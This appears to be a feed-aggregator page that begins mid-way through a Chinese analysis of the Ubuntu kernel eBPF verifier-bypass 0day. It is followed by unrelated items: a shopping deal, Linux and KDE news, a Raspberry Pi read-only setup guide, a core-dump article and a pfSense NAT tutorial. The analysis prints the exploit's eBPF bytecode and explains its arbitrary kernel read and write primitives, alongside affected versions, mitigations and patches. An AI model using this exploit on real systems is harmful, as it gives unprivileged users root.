ins 8: code(07) alu64 | += | imm, dst_reg 2, src_reg 0, off 0, imm fffffffc
ins 9: code(62) st | BPF_MEM | u32, dst_reg a, src_reg 0, off fffffffc, imm 0
ins 10: code(85) jmp | call | imm, dst_reg 0, src_reg 0, off 0, imm 1
ins 11: code(55) jmp | != | imm, dst_reg 0, src_reg 0, off 1, imm 0
ins 12: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 13: code(79) ldx | BPF_MEM | u64, dst_reg 6, src_reg 0, off 0, imm 0
ins 14: code(bf) alu64 | = | src_reg, dst_reg 1, src_reg 9, off 0, imm 0
ins 15: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg a, off 0, imm 0
ins 16: code(07) alu64 | += | imm, dst_reg 2, src_reg 0, off 0, imm fffffffc
ins 17: code(62) st | BPF_MEM | u32, dst_reg a, src_reg 0, off fffffffc, imm 1
ins 18: code(85) jmp | call | imm, dst_reg 0, src_reg 0, off 0, imm 1
ins 19: code(55) jmp | != | imm, dst_reg 0, src_reg 0, off 1, imm 0
ins 20: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 21: code(79) ldx | BPF_MEM | u64, dst_reg 7, src_reg 0, off 0, imm 0
ins 22: code(bf) alu64 | = | src_reg, dst_reg 1, src_reg 9, off 0, imm 0
ins 23: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg a, off 0, imm 0
ins 24: code(07) alu64 | += | imm, dst_reg 2, src_reg 0, off 0, imm fffffffc
ins 25: code(62) st | BPF_MEM | u32, dst_reg a, src_reg 0, off fffffffc, imm 2
ins 26: code(85) jmp | call | imm, dst_reg 0, src_reg 0, off 0, imm 1
ins 27: code(55) jmp | != | imm, dst_reg 0, src_reg 0, off 1, imm 0
ins 28: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 29: code(79) ldx | BPF_MEM | u64, dst_reg 8, src_reg 0, off 0, imm 0
ins 30: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg 0, off 0, imm 0
ins 31: code(b7) alu64 | = | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 32: code(55) jmp | != | imm, dst_reg 6, src_reg 0, off 3, imm 0
ins 33: code(79) ldx | BPF_MEM | u64, dst_reg 3, src_reg 7, off 0, imm 0
ins 34: code(7b) stx | BPF_MEM | u64, dst_reg 2, src_reg 3, off 0, imm 0
ins 35: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 36: code(55) jmp | != | imm, dst_reg 6, src_reg 0, off 2, imm 1
ins 37: code(7b) stx | BPF_MEM | u64, dst_reg 2, src_reg a, off 0, imm 0
ins 38: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 39: code(7b) stx | BPF_MEM | u64, dst_reg 7, src_reg 8, off 0, imm 0
ins 40: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
parsed 41 ins, total 41 稍微解释下,ins 0 和 ins 1 一起完成了绕过eBPF verifier机制。ins 0指令后,regs[9] = 0xffffffff,但在verifier中,regs[9].imm = -1,当执行ins 1时,jmp指令判断regs[9] == 0xffffffff,注意regs[9]是64bit integer,因为sign extension,regs[9] == 0xffffffff结果为false,eBPF跳过2(off)条指令,继续往下执行;而在verifier中,jmp指令的regs[9].imm == insn->imm结果为true,程序走另一个分支,会执行ins 3 jmp|exit指令,导致verifier认为程序已结束,不会去检查其余的dead code。

这样因为eBPF的检测逻辑和运行时逻辑不一致,我们就绕过了verifier。后续的指令就是配合用户态exp完成对kernel内存的读写。

这里还需要知道下eBPF的map机制,eBPF为了用户态更高效的与内核态交互,设计了一套map机制,用户态程序和eBPF程序都可以对map区域的内存进行读写,交换数据。利用代码中,就是利用map机制,完成用户态程序与eBPF程序的交互。

ins4-ins5: regs[9] = struct bpf_map *map,得到用户态程序申请的map的地址,注意这2条指令,笔者的静态解析并不准确,获取map指针的指令,在eBPF verifier中,会对指令内容进行修改,替换map指针的值。 ins6-ins12: 调用bpf_map_lookup_elem(map, &key),返回值为regs[0] = &map->value[0] ins13: regs[6] = *regs[0], regs[6]得到map中key=0的value值 ins14-ins20: 继续调用bpf_map_lookup_elem(map, &key),regs[0] = &map->value[1] ins21: regs[7] = *regs[0],regs[7]得到map中key=1的value值 ins22-ins28: 继续调用bpf_map_lookup_elem(map, &key),regs[0] = &map->value[2] ins29: regs[8] = *regs[0],regs[8]得到map中key=2的value值 ins30: regs[2] = regs[0] ins32: if(regs[6] != 0) jmp ins32 + 3,根据用户态传入的key值不同,做不同的操作 ins33: regs[3] = *regs[7],读取regs[7]中地址的内容,用户态的read原语,就在这里完成,regs[7]中的地址为用户态传入的任意内核地址 ins34: *regs[2] = regs[3],把上调指令读取的值返回给用户态 ins36: if(regs[6] != 1) jmp ins36 + 2 ins37: *regs[2] = regs[FP], 读取eBPF的运行时栈指针,返回给用户态,注意这个eBPF的栈指针实际上指向bpf_prog_run函数中的一个局部uint64数组,在内核栈上,从这个值可以得到内核栈的基址,这段指令对应用户态的get_fp ins39: *regs[7] = regs[8],向regs[7]中的地址写入regs[8],对应用户态的write原语,regs[7]中的地址为用户态传入的任意内核地址

理解了这段eBPF程序,再看用户态exp就很容易理解了。需要注意的是,eBPF指令中的3个关键点:泄漏FP,读任意kernel地址,写任意kernel地址,在verifier中都是有检查的,但因为开始的2条指令完全绕过了verifier,导致后续的指令长驱直入。

笔者在Ubuntu 14.04上提权成功:这种攻击方式和传统的内存破坏型漏洞不同,不需要做复杂的内存布局,只需要修改用户态传入的数据,就可以达到控制程序指令流的目的,利用的是原有程序的正常功能,会完全绕过现有的各种内存防御机制(SMEP/SMAP等),有一种四两拨千斤的效果。这也是这两年流行的Data-Oriented Attacks,在linux kernel中似乎并不多见。

0×04 漏洞影响范围&修复

因为linux kernel的内核版本众多,对于安全漏洞的影响范围往往并不容易确认,最准确的方式是搞清楚漏洞根因后,从代码层面判断,但这也带来了高成本的问题,快速应急时,我们往往需要尽快确认漏洞影响范围。从前面的漏洞原理来看,笔者大致给一个全面的linux kernel受影响版本:

3.18-4.4所有版本(包括longterm 3.18,4.1,4.4);

<3.18,因内核eBPF还未引入verifier机制,不受影响。

对于大量用户使用的各个发行版,还需要具体确认,因为该漏洞的触发,还需要2个条件

1.Kernel编译选项CONFIG_BPF_SYSCALL打开,启用了bpf syscall;

2./proc/sys/kernel/unprivileged_bpf_disabled设置为0,允许非特权用户调用bpf syscall

而Ubuntu正好满足以上3个条件。关于修复,upstream kernel在3月22日发布的4.4.123版已经修复该漏洞[11][12], Ubuntu官方4月5日也正式发布了安全公告和修复版本[13][14],没有修复的同学可以尽快升级了。

但现在距漏洞Exp公开已经过去20多天了,在漏洞应急时,我们显然等不了这么久,回过头看看当初的临时修复方案:

1.设置/proc/sys/kernel/unprivileged_bpf_disabled为1,也是最简单有效的方式,虽然漏洞仍然存在,但会让exp失效;

2.使用Ubuntu的预发布源,更新Ubuntu 4.4的内核版本,因为是非正式版,其稳定性无法确认。

Vitaly Nikolenko在twitter上公布的Ubuntu预发布源:all 4.4 ubuntu aws instances are vulnerable: echo “deb http://archive.ubuntu.com/ubuntu/ xenial-proposed restricted main multiverse universe” > /etc/apt/sources.list && apt update && apt install linux-image-4.4.0-117-generic

Ubuntu的非正式内核版本,做了哪些修复,我们可以看下补丁的关键内容(注意这是Ubuntu的kernel版本,非upstream):

git diff Ubuntu-lts-4.4.0-116.140_14.04.1 Ubuntu-lts-4.4.0-117.141_14.04.1ALU指令区分了32bit和64bit立即数,同时regs[].imm改为了64bit integer
四两拨千斤:Ubuntu kernel eBPF 0day分析
还增加了一项有意思的检查,把所有的dead_code替换为nop指令,这个明显是针对exp来的,有点类似于exp的mitigation,upstream kernel可能并不一定喜欢这样的修复风格:)
四两拨千斤:Ubuntu kernel eBPF 0day分析
关于这个漏洞,Ubuntu还有一些相关的修复代码,感兴趣的读者,可以自行发掘。 我们再看下upstream kernel 4.4.123的修复,相比之下,要简洁的多,仅有3行代码改动[12]:

当处理32bit ALU指令时,如果imm为负数,直接忽略,认为是UNKNOWN_VALUE,这样也就避免了前面提到的verifer和运行时语义不一致的问题。


四两拨千斤:Ubuntu kernel eBPF 0day分析
另外Android kernel上,bpf sycall是没有启用的,所以不受该漏洞影响。 0×05 引发的思考

我们回顾以下整个漏洞分析过程,有几点值得注意和思考:

1.eBPF作为内核提供的一种强大机制,因为其复杂的过滤机制,稍有不慎,将会引入致命的安全问题,笔者推测后续eBPF可能还会有类似安全漏洞。 2.受限于linux kernel的开发模式及众多版本,安全漏洞的确认和修复可能存在被忽视的情况,出现N day变0 day的场景。 3.Vitaly Nikolenko公布漏洞exp后,有网友就提出了批评,在厂商发布正式补丁前,不应该公布细节。我们暂且不讨论Vitaly Nikolenko的动机,作为一名安全从业者,负责任的披露漏洞是基本守则。 4.笔者所在公司使用的OS是经过专门的团队量身定制,进行了不少的安全加固和冗余组件裁剪,故不受到此次漏洞影响。可见维护一个安全可靠的OS不失为保障大型企业的安全方案之一。

感谢阅读,行文匆忙,如有不正之处,敬请指出。

0×06 参考文档 [1] https://twitter.com/vnik5287/status/974439706896187392 [2] http://cyseclabs.com/exploits/upstream44.c [3] https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=BPF [4] https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html [5] https://www.kernel.org/doc/Documentation/networking/filter.txt [6] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16995 [7] https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3 [8] http://kernel.ubuntu.com/git/ubuntu/ubuntu-trusty.git/tree/?h=Ubuntu-lts-4.4.0-31.50_14.04.1 [9] https://www.kernel.org/ [10] https://lwn.net/Articles/700530/ [11] https://lwn.net/Articles/749963/ [12] https://lkml.org/lkml/2018/3/19/1499 [13] https://usn.ubuntu.com/3619-1/ [14] https://usn.ubuntu.com/3619-2/

* 本文来自腾讯安全应急响应中心(TSRC) 投稿 ,作者:Tencent Blade Team:Cradmin,转载须注明原文链接及出处。


          Nostalgia 16-Cup Air-Pop Popcorn Maker for $11.99 (Reg $19.99)!      Cache   Translate Page      
This is such a great deal on a popcorn maker! It would be great for a wedding gift, or for a new college student! Nostalgia 16-Cup Air-Pop Popcorn Maker for $11.99 (regularly $19.99) Pops up to 16-cups of popcorn per batch Healthy, oil-free popping Includes measuring cap to ensure amount of kernels used Unique popping […]
          Linus Torvalds Says Linux 5.0 Comes in 2019, Kicks Off Development of Linux 4.20      Cache   Translate Page      
Linus Torvalds is back from a short vacation to rethink his strategy as the leader of the development of the Linux kernel, and kicked off a new development cycle for the next 6 weeks, this time for Linux kernel 4.20. That’s right, Linux 4.20 is the next kernel coming after Linux 4.19, which was released
          KDE: Window Buttons Applet 0.1, Accessibility, KDE Connect 1.10      Cache   Translate Page      
  • Window Buttons Applet v0.1

    Window Buttons Applet presents its first release to the public. I always wanted to be able to make my top panel to behave as a window titlebar whenever it is needed. To achieve this some special applets are needed and of course specific behavior from the top panel.

  • Accessibility update – Kickoff, Kicker and KWin improvements

    Chrys took up the role of coordinator, fixer and new master of KDE accessibility, which I think is just fantastic. We have been working on what he decided to be most important, mostly chrys fixing issues to make things work with Plasma and screen readers. After getting Orca to read desktop icons he spent quite some time to improve the various start menus.

    With so much fresh energy around I started poking at KWin, which was a bit scary, to be honest. It was fun to read code I hadn’t looked at before. In the end, after I spent a while working on a huge work-around, it turned out that we could enable the task switcher to work with relatively little code added. The main issue was that KWin does really not want to give focus to the task switcher. My first attempt was to write sub-classes of QAccessibleInterface for everything in KWin. That started to work, but during some debugging I realized that KWin was actually creating the regular representations for its UI, it was just not properly announcing them to Orca. Thus I threw away my almost complete prototype. At least I verified that it’s possible to create an entire Qt UI for screen readers only, disconnected from the actual UI. Thanks to QAccessible::installFactory it is nowadays pretty easy to instantiate custom representations (subclasses of QAccessibleInterface).

  • KDE Connect 1.10 Released To Improve The Android Device Integration

    KDE Connect is the interesting project allowing communication/sharing between your KDE desktop and an Android smartphone/tablet whether it be multimedia content, text messages, or files and more. KDE Connect 1.10 further enhances this interesting effort to bridge Android mobile devices to the KDE desktop.

  • Kernel 4.20-rc1 Is Out, KDE Connect Android App 1.10 Released, Linux Mint 19.1 Coming Soon, Microsoft Ported ProcDump to Linux and Neptune Version 5.6 Now Available

    The KDE Connect Android app version 1.10 was released yesterday. Main changes include "mouse input now works with the same speed independent from the phones pixel density"; "the media controller now allows stopping playback"; the "run command supports triggering commands using kdeconnect:// URLs" and more. There are several desktop improvements as well, and the Linux Mobile App has also gained many new features.


          Linux 5 llegará a principios de 2019      Cache   Translate Page      
Por si alguien no se ha enterado, hace un par de semanas que Linus Torvalds volvió a sus labores al frente de Linux y en ello está, coordinando el desarrollo de la próxima versión del kernel, después de que Greg[...]
          Headless RPi - prevent SD corruption      Cache   Translate Page      

Raspberry Pis are perfect when building interactive art projects (e.g. 20 printers printing ML generated tweets and often it’s nice to leave the Pi headless, i.e. without keyboard or monitor. And it’s convenient to just power up the device to start it and pull the power when its time to shut it down. However there are two minor issues - how do you get your code to start without a login and how do you precent system corruption. Thanksfully there are solutions to that.

Startup: Starting your code on startup.

There a many solutions for this but personally I like to run my code as a service. To do so add a file like the one below to /etc/rc.d/ and make it executable. This assumes your startup script lives in /home/you/mycode/run.sh and exepects to be run from that directory.

#! /bin/sh

### BEGIN INIT INFO
# Provides:             tweet_printer
# Required-Start:       $remote_fs $syslog
# Required-Stop:        $remote_fs $syslog
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
# Short-Description:    Tweet stream deamon
### END INIT INFO

. /lib/lsb/init-functions

start() {
  log_action_begin_msg "Starting tweet printer daemon"
	cd /home/you/mycode/
	sh run.sh # OR python3 run.oy OR ./myexe 
  log_action_end_msg
}

stop() {
  log_action_begin_msg "Stopping tweet printer daemon"
  # <Insert command to kill your process here>
  #
  log_action_end_msg
}

case "$1" in
    start)
      start
  ;;
    stop)
      stop
  ;;
    restart)
      stop
      start
  ;;
    *)
      echo "Usage: <MYSERVICENAME> {start|stop|restart}"
      exit 1
  ;;
esac
exit 0

Note your code will run as root. Note this can also be a python program directly but i prefer the shell script to keep things more seperated.

Shutdown: Preventing SD corruption

Linux systems do not like to to be powered off suddenly and this can lead to corruption of the filesystem on the SD card. Last time we faced this issue we researched a bunch of UPS-like soutions that would detect power failure and provide both bridge-over power and a signal to the Pi to cleanly shut down using extra electronics and super caps or batteries. However, there’s a much much simpler solution: just mount the filesystem read only. This is not 100% straightforward and can have some drawbacks but for what we were doing it was perfect. Doing so makes the entire system completely stateless and thus unable to corrupt itself. THe drawback is you cannot persist any state from one boot to the next but there are aalso workarounds which we’ll discuss at the end. I’m basically following the instructions from http://ideaheap.com/2013/07/stopping-sd-card-corruption-on-a-raspberry-pi/ here, except that I go one more step and fully mount the system read-only. The lock/unlock scripts work around the usability issue.

0) Disable swapping

This will disable swapping:

sudo dphys-swapfile swapoff
sudo dphys-swapfile uninstall
sudo update-rc.d dphys-swapfile remove

Check that free -m shows the swap to be 0

1) Set up /etc/fstab to mount /var/log and /var/tmp using tmpfs. The system needs scratch space to write into, so just mounting the root filesystem read-only doesnt work very well. However we can setup in-RAM filesystem for this purpose. Add these two lines to /etc/fstab

none                  /var/log        tmpfs   size=1M,noatime   0       0
none                  /var/tmp        tmpfs   size=1M,noatime   0       0

Then also add ro to the line that mounts your root and boot file system. In the end the file should now look someting like this:

proc                  /proc           proc    defaults          0       0
PARTUUID=d6a29f93-01  /boot           vfat    ro,noatime        0       2
PARTUUID=d6a29f93-02  /               ext4    ro,noatime        0       1
none                  /var/log        tmpfs   size=1M,noatime   0       0
none                  /var/tmp        tmpfs   size=1M,noatime   0       0

Now the system will be stateless. However sometime its necesseray to unlock it to make mods:

2) Set up two script that will allow us to temporarily lock and unlock the filesystem if we need to edit something.

~/lock.sh

#!/bin/sh
mount -o remount,ro $(mount | grep " on / " | awk '{print $1}')

~/unlock.sh

#!/bin/sh
mount -o remount,rw $(mount | grep " on / " | awk '{print $1}')

If you’re updating kernels etc oyu may also have to remount /boot but that’s not as frequently necessary so I dont set up a script for that.

4) Hit sudo reboot check your service starts up

Drawbacks of this method

In my experience this works really well in practice, but there could be drawbacks:

  • You have no persistent system log - if something went wrong it can make debugging hard.
  • You can’t persist state from one boot to the next. One work around is to have a second SD card using a USB stick which is mounted periodically just when needed and then unmounted. Or you can briefly remount / read-write, write your state and then remount again. Not perfect (if the power goes of right that second) but it makes it way less likely. Or, if you hae network, you could send the state to a farawy server.
  • The tmp dirs that are in memory fill up you have an issue.
  • Not having a swap partition, if you run out of memory, you’ll likely crash.

          core 文件      Cache   Translate Page      

引言

某台服务器业务进程挂了,研发反映没看到 core 文件生成。   于是我们来排查下是什么原因造成 core 文件没生成。

什么是 core 文件

NAME
core - core dump file

The default action of certain signals is to cause a process to terminate and produce a core dump file,
a disk file containing an image of the process's memory at the time of termination.
This image can be used in a debugger (e.g., gdb(1)) to inspect the state of the program
at the time that it terminated.
A list of the signals which cause a process to dump core can be found in signal(7).

简介: 在一个程序崩溃时,它一般会在指定目录下生成一个 core 文件。 core 文件是一个内存映象(同时加上调试信息),主要是用来调试的。

配置系统生成 core 文件

使用 ulimit 配置生成 core 文件大小

首先使用ulimit -a确认系统是否生成 core 文件 看第一行core file size,若为 0,说明禁用了 core 文件生成,若要启用,根据需要配置 core 文件生成大小。 如不限制 core 文件大小,如下设置:
ulimit -c unlimited

系统没生成 core 文件的原因

如在 ulimit 设置了生成 core 文件,还是没有生成 core,可能是什么原因呢?
man core里面说了可能的原因,如下:
There are various circumstances in which a core dump file is not produced:

* The process does not have permission to write the core file.
(By default the core file is called core, and is created in the current working directory.
See below for details on naming.)
Writing the core file will fail if the directory in which it is to be created is nonwritable,
or if a file with the same name exists and is not writable or is not a regular file
(e.g., it is a directory or a symbolic link).

* A (writable, regular) file with the same name as would be used for the core dump already exists,
but there is more than one hard link to that file.

* The file system where the core dump file would be created is full; or has run out of inodes;
or is mounted read-only; or the user has reached their quota for the file system.

* The directory in which the core dump file is to be created does not exist.

* The RLIMIT_CORE (core file size) or RLIMIT_FSIZE (file size) resource limits for the process
are set to zero; see getrlimit(2) and the documentation of the shell's ulimit command
(limit in csh(1)).

* The binary being executed by the process does not have read permission enabled.

* The process is executing a set-user-ID (set-group-ID) program that is owned by a user (group)
other than the real user (group) ID of the process. (However, see the description of the prctl(2)
PR_SET_DUMPABLE operation, and the description of the /proc/sys/fs/suid_dumpable file in proc(5).)

* (Since Linux 3.7) The kernel was configured without the CONFIG_COREDUMP option.

In addition, a core dump may exclude part of the address space of the process
if the madvise(2) MADV_DONTDUMP flag was employed.

可能的情况比较多。
以下引用他人总结的:

一、要保证存放 coredump 的目录存在且进程对该目录有写权限。
存放 coredump 的目录即进程的当前目录,一般就是当初发出命令启动该进程时所在的目录。
但如果是通过脚本启动,则脚本可能会修改当前目录,这时进程真正的当前目录就会与当初执行脚本所在目录不同。
这时可以查看"/proc/<进程pid>/cwd"符号链接的目标来确定进程真正的当前目录地址。
通过系统服务启动的进程也可通过这一方法查看。

二、若程序调用了 seteuid()/setegid() 改变了进程的有效用户或组,则在默认情况下系统不会为这些进程生成 coredump。
很多服务程序都会调用 seteuid(),如 MySQL,不论你用什么用户运行 mysqld_safe 启动 MySQL,
mysqld 运行的有效用户始终是 msyql 用户。
如果你当初是以用户 A 运行了某个程序,但在 ps 里看到的这个程序的运行用户却是 B 的话,那么这些进程就是调用了 seteuid 了。
为了能够让这些进程生成 core dump,需要将 /proc/sys/fs/suid_dumpable 文件的内容改为 1(一般默认是 0)。

三、要设置足够大的 coredump 文件大小限制。
程序崩溃时生成的 core 文件大小即为程序运行时占用的内存大小。
但程序崩溃时的行为不可按平常时的行为来估计,比如缓冲区溢出等错误可能导致堆栈被破坏,
因此经常会出现某个变量的值被修改成乱七八糟的,然后程序用这个大小去申请内存就可能导致程序比平常时多占用很多内存。
因此无论程序正常运行时占用的内存多么少,要保证生成 core 文件还是将大小限制设为 unlimited 为好。

</pre>

# 实例分析

```bash

# 1. 业务进程设置了 SUID
[root@xxx_game ~]# ll /home/xxx/global/app/globalserver
-rws--s--x 1 root root 737162 Mar 11 04:07 /home/xxx/global/app/globalserver

# 2. 普通用户启动了该业务进程
[root@xxx_game ~]# grep su /home/xxx/global/start.sh
su - xxx -c "cd /home/xxx/global/app;./globalserver -d"

[root@xxx_game ~]# ps aux | grep globalserver | grep -v grep
root 28448 0.2 1.2 270452 208996 ? Sl 11:16 0:55 ./globalserver -d

# 3. suid_dumpable 为 0,所以 suid 程序不能生成 core 文件
[root@xxx_game ~]# cat /proc/sys/fs/suid_dumpable
0

```

以上情况的解决方法是设置`/proc/sys/fs/suid_dumpable`成 1


# Ref
[Linux core 文件介绍](http://www.cnblogs.com/dongzhiquan/archive/2012/01/20/2328355.html)
[Linux 下 core 文件产生的一些注意问题](http://blog.csdn.net/fengxinze/article/details/6800175)
[Linux 下如何产生 core 文件(core dump 设置)](http://blog.csdn.net/star_xiong/article/details/43529637)
[coredump 设置方法](http://blog.csdn.net/wj_j2ee/article/details/7161586)

          图解pfSense软路由系统的使用(NAT功能)      Cache   Translate Page      
pfsense是一款开源的路由和防火墙产品,它基于freebsd系统定制和开发。pfsene拥有友好的web的配置界面,且具有伸缩性强又不失强大性能,在众多开源网络防火墙中属于佼佼者。
2004年,pfsense作为m0n0wall项目(基于freebsd内核的嵌入式软防火墙)的分支项目启动,增加了许多m0n0wall没有的功能(pfSense的官方网站称它为the better m0n0wall).pfSense除了包含宽带路由器的基本功能外,还有以下的特点:
  • 基于稳定可靠的FreeBSD操作系统,能适应全天候运行的要求
  • 具有用户认证功能,使用Web网页的认证方式,配合RADIUS可以实现记费功能
  • 完善的防火墙、流量控制和数据包功能,保证了网络的安全,稳定和高速运行
  • 支持多条WAN线路和负载均衡功能,可大幅度提高网络出口带宽,在带宽拥塞时自动分配负载
  • 内置了IPsec 和PPTP VPN功能,实现不同分支机构的远程互联或远程用户安全地访问内部网
  • 支持802.1Q VLAN标准,可以通过软件模拟的方式使得普通网卡能识别802.1Q的标记,同时为多个VLAN的用户提供服务
  • 支持使用额外的软件包来扩展pfSense功能,为用户提供更多的功能(如FTP和透明代理).
  • 详细的日志功能,方便用户对网络出现的事件分析,统计和处理
  • 使用Web管理界面进行配置(支持SSL),支持远程管理和软件版本自动在线升级
本文简单介绍pfSense的安装及配置过程,完成一个基本的路由器该有的功能,如访问局外网、设置防火墙规则、配置端口映射。这里演示在ESXi虚拟服务器上,解决IP不足的问题。

创建虚拟机

首先去 https://www.pfsense.org/download/ 下载稳定版本的pfSense,如pfSense-LiveCD-2.2.2-RELEASE-amd64.iso.gz(网上看到有人提到这个版本不稳定,我在使用中偶尔也发现突然很慢,建议2.1.5)。在vSphere上创建虚拟机的过程省略,取名01_pfSense,创建虚拟机操作系统时选择“其他 -> FreeBSD 64位”,单CPU,512Mb内存,4G硬盘。将下载的系统解压成iso后挂载到CD/DVD,并“打开电源时连接”。
下图是网卡情况:
为pfSense分配两个网卡,分别是可以连接公司内网的172.29.88.1/24网段的vSphere_Admin端口组,和IP范围是172.30.31.1/24的内部局域网端口组VM Local。
pfsense-vsphere0.png
记录下Mac地址
外网接口:00:0c:29:36:b6:c2
内网接口:00:0c:29:36:b6:cc

安装pfsense

启动电源后出现欢迎界面,选择1.Boot pfSense [default],或等待几秒钟自动选择,进入如下界面:
pfsense-vsphere1.png
输入I,回车,然后是一个蓝屏,开始安装。
也可以什么都不用管,系统会一直启动从CD启动得到一个完整的pfSense系统,因为没有安装所以在屏幕下方会有一个选项99) Install pfSense to a hard drive, etc.,输入99同样会进入下面的安装操作系统的过程。
pfsense-vsphere2.png
一路保存默认:< Accept these Settings > → < Quick/Easy InStall > → erase all content < OK > → < Standard Kernel > → < Reboot >
重启后安装完成,断开CD介质。
pfsense-vsphere3.png
详见见官网文档 https://doc.pfsense.org/index.php/Installing_pfSense 。
下面开始配置内外网接口。

分配接口

从上图可以看到系统默认将em0接口当做WAN(外网),em1当做LAN(内部局域网),但我们不确定em0就是在创建虚拟机时分配的外网接口,需要根据MAC地址判断。
选择1) Assgin Interfaces,回车
首先询问你是否设置VLAN(用于划分多个子局域网网),Do you want to set up VLANs now [y|n]?,否n:
pfsense-vsphere4.png
pfsense-vsphere4-1.png

分配IP

选择2) Set interfce(s) IP address
pfsense-vsphere5.png
先配置WAN的IP,禁用DHCP,配置地址172.29.88.230/24,网关172.29.88.1,禁用IPV6:
pfsense-vsphere5-1.png
再配置LAN,172.30.31.1/24,不配置网关:
pfsense-vsphere5-2.png
完成后会提示可以在浏览器打开http://172.30.31.1/,通过webConfigurator来操作pfSense。
已打通两端网络:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sean@seanubt:~$ ssh admin@172.30.31.1 22
Password for admin@pfSense.domain:
*** Welcome to pfSense 2.2.2-RELEASE-pfSense (amd64) on pfSense ***

WAN (wan) -> em0 -> v4: 172.29.88.230/24
LAN (lan) -> em1 -> v4: 172.30.31.1/24
0) Logout (SSH only) 9) pfTop
1) Assign Interfaces 10) Filter Logs
2) Set interface(s) IP address 11) Restart webConfigurator
3) Reset webConfigurator password 12) pfSense Developer Shell
4) Reset to factory defaults 13) Upgrade from console
5) Reboot system 14) Disable Secure Shell (sshd)
6) Halt system 15) Restore recent configuration
7) Ping host 16) Restart PHP-FPM
8) Shell


7


Enter a host name or IP address: 172.29.88.56

PING 172.29.88.56 (172.29.88.56): 56 data bytes
64 bytes from 172.29.88.56: icmp_seq=0 ttl=64 time=1.406 ms
64 bytes from 172.29.88.56: icmp_seq=1 ttl=64 time=1.215 ms
64 bytes from 172.29.88.56: icmp_seq=2 ttl=64 time=0.480 ms

--- 172.29.88.56 ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.480/1.034/1.406/0.399 ms

Press ENTER to continue.

*** Welcome to pfSense 2.2.2-RELEASE-pfSense (amd64) on pfSense ***

WAN (wan) -> em0 -> v4: 172.29.88.230/24
LAN (lan) -> em1 -> v4: 172.30.31.1/24
0) Logout (SSH only) 9) pfTop
1) Assign Interfaces 10) Filter Logs
2) Set interface(s) IP address 11) Restart webConfigurator
3) Reset webConfigurator password 12) pfSense Developer Shell
4) Reset to factory defaults 13) Upgrade from console
5) Reboot system 14) Disable Secure Shell (sshd)
6) Halt system 15) Restore recent configuration
7) Ping host 16) Restart PHP-FPM
8) Shell


8

ping 172.30.31.20
PING 172.30.31.20 (172.30.31.20): 56 data bytes
64 bytes from 172.30.31.20: icmp_seq=0 ttl=64 time=0.239 ms
64 bytes from 172.30.31.20: icmp_seq=1 ttl=64 time=0.211 ms

登录

172.30.31.1是内部局域网的IP,所以只能通过另一台lan上的服务器的浏览器访问:
pfsense-vsphere6.png
当然这样操作起来很不方便,,而且假如lan上的其它服务器都是linux而且没有图像界面,没办法使用webConfigurator了。端口转发似乎是一个比较好的方案:在某一台lan服务器上添加一个可以通过你的pc端访问的网卡(我这里的172.29.88.206,它的lan接口IP为172.30.31.20),然后使用rinetd工具转发到172.30.31.1。
这个方法似乎可选,但需要额外的设置:
pfsense-vsphere7.png
An HTTP_REFERER was detected other than what is defined in System -> Advanced (http://172.29.88.206:8008/index.php?logout). You can disable this check if needed in System -> Advanced -> Admin.
pfSense为了安全起见,不允许任何形式的转发来访问webConfigurator,根据你的需要决定是否关闭这个功能:System -> Advanced -> Admin,勾选Browser HTTP_REFERER enforcement -> Save -> Apply。
pfsense-vsphere8.png
登陆的用户名默认为admin/pfsense
pfsense-vsphere9.png

使用配置向导

前面是通过命令行的方法对接口和IP进行配置,也可以直接通过webGUI向导对WAN和LAN、网关等设置:System -> Setup Wizard,因为太过简单,就不贴图了。
在设置WAN接口时(Configure WAN Interface)注意两点:
  • Static IP Configuration 部分设置正确的IP和网关,否则会无法进出网络
  • RFC1918 Networks 默认是勾选的,这是为了避免WAN上也存在与LAN一样的网段。如果要允许wan的其他主机ping通该pfSense,则去掉勾
其它保持为空或默认值。

pfSense的NAT功能

即Port Forward,目的是为了WAN上的其他机器可以访问LAN内部的服务。
Friewall -> NAT
pfsense-vsphere10.png
端口映射分为单端口和范围端口。但端口容易理解,访问WAN 172.29.88.230:8000 的 数据包都转发到内部LAN 172.30.31.20:8000;范围端口是在 from m to n 的端口范围内的数据包都发送到内部IP的对应端口上,减少规则的数量。
pfsense-vsphere11.png
Save -> Apply Changes,与此同时pfSense会自动在防火墙里添加规则,Firewal -> Rules
pfsense-vsphere12.png

pfSense做负载均衡

其它功能

pfSense还有几大重要的功能,如快速搭建VPN服务器,作为前端负载均衡服务器,流量限制。由于工作中暂未用到,所以就不加说明了。
参考


          kernel panic 2013 mbp      Cache   Translate Page      
none
          WireGuard Is Now Available On Apple iOS      Cache   Translate Page      
While WireGuard didn't make it for Linux 4.20 to the mainline kernel, if you are using an Apple tablet or phone, there is now an app that allows you to use WireGuard on iOS...
          Polaris 12 & Vega 12 Support Heading To The AMDKFD Compute Kernel Code      Cache   Translate Page      
With the Linux 4.20 merge window past, DRM developers are already busy on their feature work for the next cycle -- AMD developers included. With this follow-on kernel release among the AMD Radeon driver features will be "AMDKFD" support for the Vega 12 and Polaris 12 graphics processors...
          KTask Revived For Providing In-Kernel Multi-Threading For CPU Intensive Tasks      Cache   Translate Page      
It's been just about one year since the last patch series was sent out while on Monday marked a new revision to KTask, the effort that provides a generic framework to parallelize CPU-intensive kernel work...
